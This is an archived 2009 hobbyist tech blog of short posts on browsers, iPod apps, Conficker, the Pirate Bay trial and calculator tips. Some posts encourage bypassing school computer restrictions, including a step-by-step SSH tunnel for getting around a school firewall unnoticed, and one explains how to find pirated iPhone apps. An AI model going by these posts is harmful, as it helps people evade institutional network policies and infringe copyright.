The Hack Hut

2009-06-18T11:55:00.001-07:00

After talking with my co-author of this blog, Wayfarer, we have decided to move our blog. We have noticed, and any readers we have as well, I'm sure, that our blog the past month or two has not really involved "hacking" per se, and so blogging for the Hack Hut just didn't seem to fit. As such, I would like to point you all to our new blog that we set up: the GenTech blog. The GenTech blog will be based more upon any and all technology in general. It's uses, reviews of it, our ideas on it, everything, not just hacking it. Oh, and did I mention it will include mine and wayfarer's college experience next year? That's right. We will, conveniently, be attending the same college in fall, and so we will blog about all of those experiences as well.

So please, come visit us at GenTech! We hope to see you there!

~Sum Deos

Vista Alternate Start Menu

2009-06-03T13:38:00.000-07:00

I have begun testing Windows 7, and I already can't stand something. The start menu. Oh wait, I couldn't stand Vista's either. Windows 7 made the start menu even more pretty, but even less useful. So, I have reverted to a good friend of mine.

Vista Start Menu

It gives Vista a great alternate start menu, similar to the one found on XP. But wait, I'm not using Vista, this is about Windows 7. Well guess what, it works for 7 too. Just my luck! So download it and fix up your crappy start menu!

Google Chrome 2.0 Released

2009-05-23T10:06:00.001-07:00

So for those of you using the previous version of google's web browser, it's time for you to upgrde. Google has just made a rather large software jump to version 2.0. If you hop on over to Googles website and try downloading the new version of their browser. And if you haven't installed the previous version of google chrome then it's time to make the switch. Especially if you are still using explorer LOL. Chrome, for those of you who haven't used it before, is a very minimalist browser. It's beautifully light and the speed it has is pretty damn sweet too. Chrome has lots of awesome functions and it is even above par (at least IMO) structurally. Chrome uses a method called sandboxing, which is basically a way of saying that each individual tab you have open is a seperate process, allowing the sites to run faster and if one crashes the entire application doesn't crash. Which is frackin useful.

I myself haven't gotten a chance to install the new chrome yet, but I will sometime today. I'll hopefully be able to post my observations either later tonight or tomorrow. Unfortunately, my computer is currently being fixed by the school (since I graduated and we get to keep our laptops, the school has to remove all the school software and reinstall a nice new copy of windows on the machines. So not only am I without a laptop for almost a month, when I so get the laptop back I'm going to have to install another Linux partition which is a solid hour out of my day. Fml LOL) and so I'm not able to really do the same depth posts I so when I actually have a computer. He'll, this post right here took me about 35 minutes to type because I have to use my iTouch for the whole thing. And let me tell you, that is a major pain in the ass to do.

So anywho, just bear with me as I try to make blog posts on an iPod for the next nomen or so, and be sure to check back for my opinions on the new version of Google Chrome. I'll install it on my home computer as soon as I get the chance. Until then, everybody have a good start to summer (I know I will) and I'd you haven't already, ditch Internet Explorer for either Mozilla Firefox ilor Google Chrome. It's up to you which one you pick, but please don't pick IE: that's like choosing vista over ubuntu. It's heresy.

Songbird -- My New Love

2009-05-20T09:53:00.000-07:00

So, it happens that once in a while I stumble upon a new program and try it out. Sometimes I fall in love with it. Other times, I hear of a program and simply refuse to try it out for one reason or another.

And sometimes, I hear about a program, refuse to try it but finally do, and fall in love with it asking why I never tried it earlier.

Enter Songbird. This is, in my mind, undoubtedly better than iTunes. As a media player, it does everything I have ever wanted, and so much more than iTunes. Some of the great features that swung me include:

Global Shortcuts. Now, just like in Linux and OS X, you can hit some keys and have the music go to the next track, previous track, or pause, without actually going back to the application.
Launchy/Quicksilver functionality. While it isn't perfect, I can choose my next tracks without going back to Songbird because it too has a global shortcut.
Add-ons! Songbird is made by Mozilla, the same people who make Firefox. So, of course, there are many addons which add important functionality to the Media Player. One of my favorite is the automatic Lyric finder. Anyone sing?
Built in web browser. While I still use Firefox, the built in web browser is very useful for installing addons and finding music. Since it is essentially Firefox, perhaps I may stop using the two different applications entirely.
Open Source. 'Nuff said.

There are a few things lacking in this program which I would like to see in the future. I would like to see better "Launchy" integration, which could come in the form of an addon. Having it be a little more streamlined and effective would be excellent. Also, better iPod support. While there is an addon for iPod's, it only works on the older models, the one's that allow "Disk Usage." My iPod touch is not supported, which means I will need to keep iTunes around.... for now.

Another Konami Code Hack

2009-05-15T14:08:00.000-07:00

A few posts ago I showed you how to unlock a cool little facebook Easter egg using the Konami Code. Well, today I'm going to show you another website that has another AWESOME hidden feature that is bound to make you either laugh uncontrollably (as I did) or maybe cry. It really depends on how geeky you are.

Anywho, the website who's hidden feature we will be checking out today is a neat little site that has blog posts about just about any gadget or geeky thing you need. The website, Geek Stuff has all sorts of information ranging from iPod stuff to digital camera's, where to buy them, why to buy them, and all sorts of good information if you're interested in purchasing something.

But that, of course, is not why we are interested in their site. Oh no, we are only interested in what happens when you press [up] [up] [down] [down] [left] [right] [left] [right] [B] [A] [B] [A]. So go ahead, meander on over to Geek Stuff and try out the Konami Code. A word of advice - once you enter the code it will take a few minutes for the Easter Egg to load. And make sure you have your speakers turned on, otherwise you'll miss the amazingness. And while you are unlocking the hidden wonders, remember what the wise men say - "Forgiveness is divine, but never pay full price for late pizza".

#Googlefail

2009-05-14T19:39:00.000-07:00

For those of you who haven't heard, google went down early today. As in, an epic fail. And it really just goes to show how much of the internet relies on Google's services. It's even scary, one might say. Anywho, here's a wired article to check it out: google fail

Also, just want to apologize for the lack of updates. As most of you are probably in the same boat as myself and Wayfarer, I hope you'll understand. You see, we're both dealing with this little thing called the end of the school year, and for an end-of-year present every year, the schools love to give these gifts called exams. And these wonderful little godsends have been sapping all of our energy and time. So as soon as our exams are over, you can expect more updates to be made. No more of this week-long no-post crap. Apologies again on the delay. And also sorry I couldn't write a longer article today. I have to go... study...

Facebook Easter Egg

2009-05-09T14:00:00.000-07:00

I guess Facebook has been on my mind recently, as this post is again about Facebook. It's not, however, a post saying how bad and overbearing Facebook is, and how everyone should be using Twitter instead. This is just a cool little trick you can do with Facebook.

After you log into Facebook, use the arrow keys to type [up][up][down][down][left][right][left][right] then hit the [B] [A] [enter] buttons. This sequence of keys typed in this order (commonly called the Konami Code in the gamer culture) will release a secret easter egg. Please note that on the computer an Easter Egg is a hidden feature, not a little hardboiled egg thats painted.

To view this easter egg, after you use Konami's Code, just scroll up or down in the browser and enjoy!

Texting on the iPod touch

2009-05-07T18:18:00.000-07:00

Ah, yes, you can feel the power in your palm. The power of the internet. Your little iTouch can do almost anything - it can email, play games, control computers, and make farting noises. But even with the many applications out in the marketplace, I have found one terrible niche that has yet to be successfully filled.

Texting.

Now, at one point, there was InfiniteSMS, the perfect texting app. Simple set up, mimicked the feel of the real SMS deal, and worked quickly. However, it used Google's SMS gateway, and when it became too popular (Because it was so good!) Google killed it off. What does that mean for the rest of the world? It means that InfiniteSMS's monopoly was gone and other apps got the chance to shine.

They were given a chance - and they have all proven that they can't fulfill. I have tested app after app looking for the best solution. Most of them are expensive, and do nothing more than convert your text message to an email and send it. Some go as far as to even show you the mail app and let you edit the message there. Lame. TextFree is the closest I have come to, and even it is not perfect. With no landscape mode, bad button positioning, an ugly UI, it has a lot to move onto. Not to mention it's $5 price tag.

What do we need?

There needs to be the perfect texting app again. The app that dominates the marketplace because it is just so damn good. It needs to support landscape mode, it needs to be simple and have perfect contact list integration, it needs to be able to delete messages, perhaps even archive messages. It should be relatively inexpensive (~$3-$4) and it should never fail. With all of those in one app, it would sell thousands.

Big Brother is Watching... Your Facebook

2009-05-07T18:15:00.001-07:00

So I found something interesting while Stumbling my way through history class. Apparently, Facebook has initiated an interesting "security" (aka- keep Facebook's ass clear) feature. They are censoring all of their users emails. That's right folks: everything that you send in a Facebook message can, and will, be checked.

Now before everyone starts going all paranoid about the fact that all their email's are being read by Facebook, theres a few points you should consider. One, Facebook uses an automated checker that will scan all email for keywords, phrases, URL's and such. It's not like there are actual people sitting at a computer all day reading every word of your email (we call those people "stalkers"). Another point, Facebook isn't the only service that does this. Most email clients use similar programs to scan for, and remove, spam messages.

I decided to test their censorship, and here's what happens when you try to send "contraband" text (click for a larger version):

What was the terrible, terrible term that I put into this email message? A simple URL. I tried sending the URL for a torrent copy of a Don Quixote eBook (note that this was perfectly legal as the book is old enough that it is no longer bound under copyright laws), but it was blocked. Facebook wouldn't let me send the message, or allow my friend to receive it.

So is Facebook going too far? What do you guys think? Should they be censoring their users email? How "deep does the rabbit hole" go, as our good friend Morpheus would ask? It's possible for Facebook to search email for anything including drug usage, underage drinking, hackers, ponies, gum drop buttons... you get the point. So we ask you: They have the power to do this, they "technically" have the authority, but do they have the right? Should they?

Aircrack-ng on the iPhone

2009-05-05T18:37:00.000-07:00

Well, as far as I can tell, it hasn't happened. Yet. But a proof-of-concept of the idea has been made, and now I really want it to happen. This could be the most devestating attack against wireless networks everywhere; WEP would be made virtually worthless. Anyone with an iTouch or iPhone would be able to tear apart the code in a few minutes and hop on the network. I don't hold out any hopes of the aircrack-ng version being able to crack WPA, at least not yet, because of the resources it would require. But someone needs to step up the plate and get this working. Trust me, the moment it gets onto the internet, I'm going to get it. Updates to come.

Google Mobile App

2009-04-29T08:21:00.000-07:00

I can't say I have been through a lot of Google updates with their mobile product, but their most recent update was quite amazing. You can see in the picture the notes that Google posted for the update. I can't help but laugh.

Hackers Hit Time Magazine

2009-04-28T16:16:00.000-07:00

Time magazine's website was hacked by an underground group of hacker punks earlier this week. The hacker group, known as Anonymous, has been behind other attacks against online entities. In one low blow, they put flashing pictures up on a forum for epilepsy. There attack against Time, changing the results of a poll to spell out "Marblecake also the game" with the first letter of each name, is the first that has been relatively harmless as far as hacker pranks go. It's good to see them starting to steer clear of their cruel jokes into lighter, more acceptable territory.

Check it out here.

Speaking of hacking, another attack was made against a fairly prominent web site last week. A major law firm who prosecuted the four men from Pirates Bay recently was recently vandalized by hackers as well. The MAQS law firm faced the wrath of the hacker community for putting away the notorious Pirate Bay operators. A denial of service attack was launched against there website, causing the server to crash. Although no lasting harm happened, the financial cost and labor required to fix it must be taken into account. Especially since it's the third attack against prosecutors of the Pirates Bay Crew.

Piractes Bay Update - Possible Mistrial?

2009-04-25T21:35:00.001-07:00

Interesting turn of events in the Pirate Bay trial. Judge Tomas Norström, from Stockholm, who resided at the trial has recently come under fire from several of the "staff" members of Pirate's Bay. Norström is, apparently, a rather avid yay-copyright, nay-pirates kind of guy. He was part of two different copyright groups, which clearly could be basis for a conflict of interest. And we all know that conflict of interest in the courthouse is a very bad thing.

The decision should be made sometime within the next week or so, so I will try to keep you updated with what happens. To read Wired's coverage of the possible mistrial, go here.

Technical Difficulties

2009-04-22T20:04:00.001-07:00

Hey everyone, I just wanted to apologize for the lack of posts I've had lately. Unfortunately my hard drive got eaten by a virus, so I don't have much computer access. I'm typing this post from a friends laptop because I don't want to leave you all in the dark for longer than I already have.

I hope to have my computer up and running again soon, but until then, keep your computers out of the way of evil, hungry little virus. Sorry again if any one actually reads this blog to see my posts... which is probably no one... :P

-Sum Deos

Apple Counts Up to 1 Billion

2009-04-17T13:52:00.000-07:00

This is your chance to win a free MacBook Pro, 10,000 to the iTunes store, an iPod Touch, or a time capsule, completely free.

I mean, if you are one of the few people chosen to win that. But you can sign up for free! If you download an app from the app store (Free ones too), your iTunes account is automatically registered. However, if you don't want to do that you can use the alternate form (found here) to sign up without an actual iPod touch or iPhone. I don't get it either, but sign up quickly!

Knowing my terrible luck, I won't win. Maybe you will! (Here is the prize list, it looks like you get all of these: Prizes. One (1) winner will receive one (1) 17” MacBook Pro; one (1) iPod Touch 32GB; one (1) US$10,000 iTunes Gift Certificate; and an Apple Time Capsule. Total US Retail Value of all prizes is US$13,746.)

Sweden Makes Pirates 'Walk the Plank'

2009-04-17T11:10:00.000-07:00

Ok, not really. But they have convicted some of the most notorious scoundrels ever to loot the cyber-sea's. Frederik Neij, Gottfrid Svartholm Warg, Carl Lundstrom, and Peter Sunde, operators of The Pirate Bay have been found guilty of copyright infringement.

The pirate's arguments against their charges were simple. They gave an infrastructure of torrents, but never hosted any of the pirated materials themselves. What does this mean? Basically, Pirate Bay users kept all of their media files on their own computers, and allowed The Pirate Bay and its other users to access and download their stored files directly from personal computers. Torrenting is very popular amongst internet users, but this is the first time it has resulted in actual jailtime for the owners of the torrenting site.

This is going to b a political hotspot now. By convicting the Pirate Bay operators, the internet pirating community is going to be pretty pissed. It will be interesting to see how this develops, because Pirates don't go down that easily. We'll try to keep you posted on the important events concerning the Pirate Bay trial as they happen.

Little Known Fact

2009-04-16T16:59:00.000-07:00

Mountain View, in California, home of Google, is completely covered with free Wifi. I wonder how long it will take for the rest of the world to do the same.

The GDrive - What it Should Be

2009-04-16T08:19:00.000-07:00

The rumors are coming out again. Goolge is hinting, or playing us, with its new GDrive, or Google Web Drive. You can find a lot of other resources telling you what it is, but a short recap may be in order. The GDrive is Google's rumored drive that would allow you to store information "in the cloud." In short, an online Hard Drive. There are many other services that allow you to store information on the internet, such as Adrive. However, the GDrive could be so much more. While the rumors are still flying about, I might as well toss in my own 2 cents.

The GDrive should hold everything. There are already some sources which say that the GDrive would hold music files, something that Google has stayed away from before. GDrive should hold everything, that way there is no excuse to have your own Hard Drive. Everything could be in the cloud.
Fast transfer rate. Of course, this is obvious, but Google should never limit people in their download speed or upload speed.
Infinite Space. Of course, infinite space would require some money, but Adrive offers 50 GB free, so Google should start out with at least that.
No file size limit. Users are uploading and moving huge files. Saving ISO's and movies that are 4 GB in size, or even as big as 10 GB. There should be absolutely no limit on how big a file can be to be uploaded.
Remote booting. This could be interesting. Even if everything is "in the cloud," your computer still needs and Operating System. Imagine a Google built OS that would be small, and would boot from a remote Hard Drive off in Google Land. It would automatically connect to your own GDrive, and so you could save and work with programs. You could install programs to your GDrive. The GDrive would act as a "Network Drive" and the OS itself would never change. This means your computer, hopefully, would remain virus free.
Access Everywhere. Yes, everywhere. On your cell phone, on your iPhone, on your computer, on your friend's computer, on that sketchy Hotel Computer that has 13 different viruses. Everywhere.
File Sharing. In one form or another, it will happen. The GDrive should take this into account and allow files to be shared. Perhaps this will make the MPAA and the FIAA really angry, but I think that Google could fight them off.
Music Streaming. Why not?

These are just some ideas that Google should incoporate into their GDrive. In general, it should be Free (up to a level) and really, really big.

Firefox: The Ultimate Hacking Tool

2009-04-16T07:53:00.000-07:00

Okay, Firefox is probably not the ultimate hacking tool, but in certain situations it does have a lot going for it. One such example is at my High School. It took them some odd two years to finally install Firefox on the school computers, and I often wondered why they were so hesitant. Now I may know.

At least at my school, the IT officials had IE pretty well locked down, even to the extent of reduced functionality. No tabs, no touching, no Options, no browsing local drives, almost nothing. However, they haven't done the same thing to Firefox yet, making it a much more powerful hacking tool. You can change most of the options in Firefox, you can have tabs (thank God), and you can browse local drives. What this means is I was able to browse around on the local C drive on the computers, which you usually don't have access to. I was also able to poke around in a few other interesting places. It was pretty simple, all I had to do was type in the Drive letter in the address bar I wanted to see like this:

C:\

And I was brought right there. D drive and other drives were just as easy. It was pretty awesome, try it out on your own computer!

Bluetooth for the iPod touch

2009-04-16T07:36:00.001-07:00

According to a few different sources, the iPod touch will soon have Bluetooth capabilities. A long time ago, when hackers were still interested in taking apart the little gadget, they stumbled upon the Bluetooth reciever. Of course, at the time most people thought that it could only communicate with the Nike+iPod thingy.

However, this changes with the new 3.0 OS. The new operating system will unlock the iPod touch's Bluetoothing capabilities for everyone.

What does this mean? Well, not only does it allow for peer to peer connections and inter-iPod gaming, but there is a possibility that one could tether their iPod to their cell phone ( if both had Bluetooth) and get Internet through that. The ideas are endless.

DIY Multitouch Computer

2009-04-12T07:43:00.000-07:00

How many of us have been dieing to get our hands on one of those hardcore microsoft touchscreen tables just to futz around with it? I know I have wanted one. Unfortunately for me, however, I don't happen to have 12 grand lying around to pay for one. I'm sure I'm not the only one in that boat.

Have no fear though! The folks over at Maximum PC have managed to find a way to build a cost effective alternative to Microsoft's table. You'll have to have a look for yourself to see how the responsiveness of each table is, but in my opinion, for the price, you can't go wrong with Maximum PC's rendition.

Microsoft Surface:

Maximum PC DIY Surface:

Maximum PC's Multitouch Surface Computer from Maximum PC on Vimeo.

As you can see, Maximum PC's table works exceptionally well, and is soooo much cheaper than Microsofts. Maximum PC's table is made with fairly easy to obtain materials, and is actually simpler to build than one might think. If you are interested in building one for yourself, check out there article here. I know I'm taking notes so I can build one when I get to my college dorm :P.

Vista and iTunes and Firefox

2009-04-11T12:19:00.000-07:00

You know, I've noticed something.

Vista Sucks.

Okay, moving on. I've actually noticed something else, and I am wondering if it is my computer, or if it actually is a bigger problem. But when I am running Firefox and iTunes on Vista, Firefox constantly freezes, crashes, and glitches. Yes, all of the above. And it is every time, constantly. If I close iTunes, the problem goes away. If I close Firefox, the problem goes away. If I run a different browser (I only have 4 others), the problem kind of goes away. So I really do this is an issue with iTunes and my internet. There have been reports earlier of iTunes network problems, but I never thought it would affect Firefox so badly. So tell us, do you have a similar problem?

Conficker Payload Launched

2009-04-09T13:09:00.000-07:00

So the mastermind of the April 1st Doomsday virus has finally delivered a payload to his zombie bot network of millions of computers. And how devastating an attack it is! Except not really. The new Conficker payload is fairly mundane, and certainly not worth the hype that was given to it.

Conficker has turned its zombie network into a giant spam network. The worm tries to get users to pay $49.95 for non-existent virus and malware removal tools. It is a very common use for virus's and worms. Conficker also downloads another worm that steals passwords and sends more spam through email accounts.

So, now that cyber dooms day has come and gone, all we have is a very sophisticated, top-notch spam bot network. Because sometimes, theres just not enough spam on the internet...

iTunes New Pricing Hierarchy

2009-04-09T12:16:00.000-07:00

No more 99 cents per song at iTunes. As of 2 days ago, iTunes changed it's pricing system for songs. Now, instead of a nice 99 cents for every song you want, you have to pay 79 cents for older songs, $1.29 for new popular songs, and 99 cents for everything in between. Amazon and Wal-Mart quickly followed suit, as is only to be expected in the business world.

The music industry has been asking iTunes to change their pricing scheme for a while to motivate the sale of older songs as well as gaining a larger profit for newer songs. It's a good plan for getting more money for the artists, in theory. Too bad it ends up costing us more money for that new song we've absolutely got to have. I sense a rise in piracy in the future...

Britain: Land of the Hackers?

2009-04-04T09:06:00.000-07:00

A recent survey conducted by Trend Micro, an Internet security firm, showed some disturbing results. The survey interviewed 1000 British children and adults about their "emorals", or their hacking ethics, and found that hacking is much more common than most people realize.

Apparently, 1 in 7 children aged 12 to 13 have posed as someone else online, and 40% of the interviewed kids have posed accessed someone else's social networking profile. And get this - another 40% have accessed someone else's online banking account without the owners knowledge or permission. And guess what? It's not only boys who are teh 1337 h4x0rs now. The survey found that girls are 3 times as likely as boys to use someone else's shopping and banking accounts.

Kids in Britain aren't the only problem. We all know that kid's learn from the influence of their parents. Well apparently 1 in 3 parents have ALSO hacked into someone else's online account. So much for a good influence.

So if you're computer or online account are hacked into, remember. It's the new generation of hackers that are being bread throughout the world. Lol, you have to love all the media hype about the underworld of the "hackers". aka - script kiddies. Moral of this post - watch your back, because someone out there is trying to break into your account. Moral of the story part B - what the media calls hackers are not really hackers. There crackers and script kiddies. It's a pet peeve of mine to see people like that compared to the real hackers out there.

The original story can be found here: Britain Breeding a Generation of Computer Hackers.

I suggest also that you look up the true meaning of a hacker. Learn the truth about these things - don't just accept what the media tells you about what a hacker is and does. Sorry that there's so many rants like this in this post, but like I said. It's a pet peeve of mine and I'm tired of people confusing hackers with all the different branches of cyber criminals out there.

Skype for iPod Touch - Is It Worth It?

2009-04-04T08:34:00.000-07:00

Well, I say yes.

It started out with me buying a Skype subscription for unlimited calling in US and Canada. This was shortly after I got my second generation iPod touch for my birthday, and was working on on turning in into an iPhone. I had to buy headphones from the Apple store, and so I bought these. I used Fring at that point, and to my amazement, it worked! I could make calls via my Skype account to the world. However, there was quite a bit of lag, and that made it less than ideal. So for a while I gave up.

But now, with the official Skype app out in the App store, I have returned to this idea. So far, from what I have seen, it works well, but not as well as it could. The Skype app does allow you to use subscriptions with it, not just Skype Credit. This is a huge boon, because with a subscription comes voicemail and a cheaper online number. The online nunber, once set up (which I have), means people can call you back, if you are in the Skype app. However, you still cannot check your voicemail when you are in the Skype app.

I like the Skype app because it works with Backgrounder (thanks to an update to the Mobile Substrate), it has very little lag, and it has more in-call options. The update by Saurik to Mobile Substrate is probably the most exciting thing for the Jailbroken community. Because we can have Skype run in the background, that means we can recieve calls when not in the app itself. This, combined with Keep Awake or Insomnia, means the iPod touch can almost be an iPhone. I've had some trouble however, with the other person hearing me, but I can't hear them. In Fring, I would just have to call them again and hope it worked - however, with the Skype application, 4 in call options come up, one of which is "Speaker." I don't know why, but hitting that option generally gets ride of the wierd echo and allows me to hear them too.

Unfortunetly, you can't do some things which I would love to see. You cannot check your voicemail yet, which would be the best new feature. Having more integration with the contact list would be appreciated, but is not truly necessary. Because Skype requires the +COUNTRYCODE, thing, it may be nice not to have integration so you wouldn't have to change all the numbers.

My last wish is for the Jailbroken community to start integrating this app with the iPhone OS. It would be beautiful if it always ran in the background, and when you were connected to wifi, the wifi would never turn off so you could always recieve calls. This integration would make it almost identical to official calling app in the iPhone.

conficker.c - Did it kill the internet?

2009-04-01T17:59:00.000-07:00

Nobody panic! If you are reading this post, then rest assured that conficker.c did NOT kill or destroy the internet.

Indeed, I am typing this post on a still working internet, so clearly conficker.c didn't do what it was supposed to. Right?

Wrong. The conficker worm did exactly what it was supposed to do today. On April 1, 2009, conficker came "online" and called home very ET-like. The master computer, however, didn't have any commands for conficker worms out there except to stay put until they receive further instructions. The moral of the story? conficker may not have done anything noticeable today (although it did increase the random URL's from 250 to 50000 as we said it would), but it is all set up to do something at some point in the future. So if you have conficker Strain C, it would most definitely behoove you to get rid of it as soon as possible. If you want to check to see if you have conficker, simply go to Microsofts website and try to update your computer. Conficker's a nasty little bugger and will block you from updating your computer, so if you have trouble updating, use the conficker removal tool.

So I hope your all glad to know that your still safe from conficker for another day. You don't have to worry about a multimillion zombie-computer assault tonight, and probably not tomorrow either. After that, though, it's anyones guess...

Skype for iPhone and iPod Touch Is Here!

2009-04-01T12:08:00.000-07:00

It's true! It finally came on March 31, 2009. The official Skype Application has landed in the Apple App store. And while you can read what it includes almost anywhere, allow me to tell you once again.

Free Skype to skype calls
Calling Landlines, Mobile Phones, and other users!
IM built in.
Calling only works over Wifi, IM works anywhere
See who is online anywhere

While it sounds too goo to be true, there are a few things that should be noted.

Some users are complaining about problems with the Skype application on their iPods or iPhones. Well, yes, there actually is one. If you jailbroke it. The package installed upon Jailbreaking your iDevice "Mobile Substrate" causes Skype to crash repeatedly. The solution? Open Cydia and update Mobile Substrate. Saurik already has a new version out which disables Mobile Substrate for Skype. After updating that, your Skype application will work much better. So go do it.
Skype for iPhones doesn't work with subscriptions. Wait... what? Yeah, that is what I said. You need to have Skype credit to call people, you cannot simply be using a subscription. This is undoubtably a purposeful move done by Skype for business purposes, but it is still ridiculous I think. Now, I need to get credit as well as my subscription? Or should I just ditch the subscription? But wait, there goes my voicemail, and money off the online number. I seriously believe that Skype should rethink their decision and open the program up for their many subscription users. Edit: Within the last few hours I have gotten the application to work with my Unlimited US and Canada plan. Make sure you type in the number correctly!
EDIT: ~~It also appears that Skype cannot be run in the background using Backgrounder on a jailbroken phone. I do not know why, and I am hoping there will be a workaround if this is true.~~
Editing the Edit: Saurik released a new update today that gets around Skype's DRM. All Mobile Substrate programs work with it again after the update via Cydia. My iTouch is getting more and more like an iPhone.

Edit Edit: I contacted Saurik, the developer of Mobile Substrate, and he said that backgrounder will work once he enables the Mobile Substrate to work with Skype. I am sure he is working on such an update!

April Fools Day Virus - AKA conficker.c

2009-03-31T14:20:00.001-07:00

Many of you have probably heard about the virus conficker.c that is set to go online April 1, 2009. But for those of you who haven't heard about it, fear not! Because I'm going to explain it now anyways.

The first point I would like to make is that conficker technically isn't a virus. Most people confuse virus's with just about every other type of malware known to machine and man, so I'm going to call it a virus for the sake of my sanity. In reality, however, conficker is what is called a worm, meaning that it is self replicating. Once you have the conficker worm it can reproduce itself and use your computer to send itself to other computers and systems. A virus, on the other hand, requires a "host", usually a program that you execute allowing the virus to infest your computer. The virus then remains in the host unless some physical medium is used on the computer, infected, and then used in another computer (USB drives, floppy disks, etc).

So what exactly is conficker? Well, the conficker virus/worm comes in 3 different versions (Strains). Strain A basically created 250 random websites per day, allowing for the "zombie" computers (computers that can be controlled and accessed by a "master" computer that the original virus' author has access to). This strain was patched in most cases, and so isn't a huge problem. The end goal was simply to sell bogus software to unwitting users. The second strain released, conficker.b was similar, but infected millions of more computers. The major innovation in conficker.c is that instead of generating 250 URL's per day, it will generate upwards of 50,000.

Strain C could be simply another bogus advertising deal, trying to trick users into giving up important credit card information. Other theories exist as to what it may do, however. When Strain C becomes active, the conficker virus will be able to bypass many security programs and infect the rest of the computers on the same local network as an infected computer. It also has the ability to build a tunnel that will allow it to find and infect computers via the internet, allowing it to spread rapidly. It could then be used by criminals to gain access to the private data contained on the millions of infected computer (an estimated 6-10 million computers are currently infected). It would be the largest zombie network ever created by a single entity. The zombie network could also be used to mount a DoS attack against any number of servers.

Conficker is already prevalent in the computer world. Like I said before, an estimated 10 million computers are infected already, including the British Parliament, the french navy, and other government bodies.

We really have no idea what conficker will do, aside from "dial home" to its maker tomorrow. The end goal of the worm is still unknown. What it will do is anyones guess. My suggestion, however, is that if you are running a windows machine, you may want to check to make sure you have updated your antivirus software, as conficker, among the other things it does that we know about, blocks updates and installations (of antivirus software) that may be harmful to it.

Connect iPod Touch to Cell Network

2009-03-25T18:20:00.000-07:00

You can connect laptops to a cell network, so why not your iPod touch? Obviously it will require some interesting hardware, and I am curious if I could get it to work for free (besides the hardware). Already you can buy cards which will allow you to connect your laptop to a Cell network. One thought is to simply do that (you could even tether your laptop to your phone), and then create an Ad-Hoc network and tell your iPod to access that, and through that get the internet.

However, that is a lot of steps, and it requires your phone, a cable to connect the two (unless you have bluetooth) and a laptop. Why not a simple hardware dongle which would connect straight to your iPod touch and give you cell network access. While you are at it, put in a microphone and you just turned your iPod touch into an iPhone.

Someone want to help me with this idea?

Appulo.us is Down

2009-03-25T17:01:00.001-07:00

Apparently, Appulous was too good to be true. It got enough popularity, quickly enough, that the server crashed... enough for them to take it down completely.

So now what? I'm looking into alternate ways to getting access to the applications. When I find a way, I'll let the world know. Hopefully it doesn't result in my death.

Edit: It looks like the best way to get an app is to use Google. Just type in:

ApplicationName VersionNumberYouWant ipa

For example, I could type in: Blogpress 1.3.4 ipa This brought me to my Google results, and the second one proved to work (first one was Appulo.us, which is, erm, down).

How to Tunnel Through a School Firewall

2009-03-24T14:57:00.000-07:00

Don't you hate it when you forget that paper or presentation for school? I know I do. When I'm at school and trying to read the latest articles over at Wired, I don't have time to retype any papers. I don't want to redo my homework, I just want to READ those articles dammit! Thats why I am on the computer in the first place! So if you are like me, and want your news (or facebook) now, then this is one blog post I would not suggest missing. Not that I suggest using this if your administrator's ban the use of connecting to remote terminals... (Although you can also use this trick with a few extra steps configuring Internet Explorer to view any website regardless of your school or offices security filters).

Basically what we are going to do is create whats called a Secure Shell (SSH) tunnel. An SSH tunnel is sort of like telnet, in that it will allow you to remotely connect to a server. In my case, the 'host server' is my home PC running Ubuntu-linux. And the computer I want to access from is, of course, my school computer running XP.

Setting up an SSH server on your host computer*
In linux, it is quite easy to set up an SSH server. Open up a terminal and type this command to install the OpenSSH package:

sudo apt-get install ssh

You will then be prompted for you password. Type in your password and hit enter (remember you will not see any characters displayed as you type your password). Thats all there is to it! Once going through the SSH Installation instructions, you need to set up your client computer (the one you want to connect from). To do this, we will use a program called Putty.

Installing Putty

This part is simple as well. All you need to do (for a windows client machine) is to download Putty. The download process is simple enough, all you need to do is follow the installation instructions. Once installed, open Putty.

In order to connect to your remote computer, you must know your IP address of the server computer. If your server is running linux, type "ifconfig" into your terminal window and find the ethernet IP address. If the server is running windows, type ipconfig and find the ethernet IP address. Once you have the servers address, you can use it to connect to that computer from the client.

In the screen that opens when you run Putty, type your host (server) computer's IP into the text field labeled (Host Name). Leave the port alone for now, as OpenSSH uses port 22 as the default port. Click open and Putty will try to open a connection with your server via SSH. If you are successful in connecting, you will be asked to provide a login name, followed by a password. If you input both correctly, you will see a linux command prompt (if the server is linux) that you can use as if you were at the actual computer. Enjoy!**

*The host computer in this case is running linux, but windows would work just as well. The installation process is all that would change.

**Please note that every command used from the remote terminal will be logged. It is also important to note that the way I have this configured, it will be fairly easy for an administrator to see you accessing an off-network computer. I will go into more detail later on how to try and get around this by using more obscure ports.

How to install Mirage OS onto your Ti-83+ or Ti-84 Graphing Calculator

2009-03-24T14:12:00.000-07:00

So, with the messing around with my calculator comes the inevitable idea to put Mirage OS onto it. Mirage OS is a flash shell which allows for different apps to be run. It is a pseudo Operating system, or a mirage of one. It does not replace the OS on your calculator, nor does it modify it in anyway. It does however, work nicely alongside it make your calculator do more. Installing it is really quite easy.

Download the software necessary to talk with your calculator. You can get that here.
Install the software.
Plug in your Ti-connect link. It looks like this, and yes, you need one to do this.
Download Mirage OS (Current version when I wrote this was 1.2) (Direct link here).
Extract the contents of the file.
Right Click "MIRAGEOS.8xk" and click "Send to TI Device..."
A window will pop up. Don't worry about any options, just hit "Send to device"
Let the TI software do all the magic from there!

Congrats, now you have Mirage OS installed on your calculator. It can run its own programs and everything. For installing programs, the process is exactly the same. Read the ReadMe for each program you want to install to make sure you are sending the correct file.
Edit: In the same way you can install Puzzpack and almost any other flash applications you want!

Ti-83+ Caclulator

2009-03-24T13:58:00.000-07:00

I have a Ti-83+ calculator. Maybe you have one, maybe you don't. This nice thing about this calculator is what you can do with it. You can do basic arithmetic, but that is so below what it can do it hurts me. Some of the fascinating things the calculator can do are:

Program in BASIC
Program in Assembly
Connect with your computer for updates

Those may not seem like much, but for many people, Basic is their first real touch with programming. I know it was for me, and I fell in love with it then. The language itself is one of the easiest to learn, but it can still be very powerful. I bring this up because I am tempted to make a few posts on the ideas behind basic and perhaps some more interesting concepts. Also, for my Calculus class we were studying integrals, and the idea behind some of the rules made me sick, so I made a program to do them all. This greatly simplifies the work on my part, and allows me to easily check my tests!

If you want to use the program, download it here and send it to your calculator!

Daemon Tools Alternative

2009-03-23T12:38:00.000-07:00

I don't know about you, but after spending a long time on the internet, I've found that I pretty much need a virtual ISO handler.

Oh what? You don't download anything that would need that? Well, then maybe you don't care.

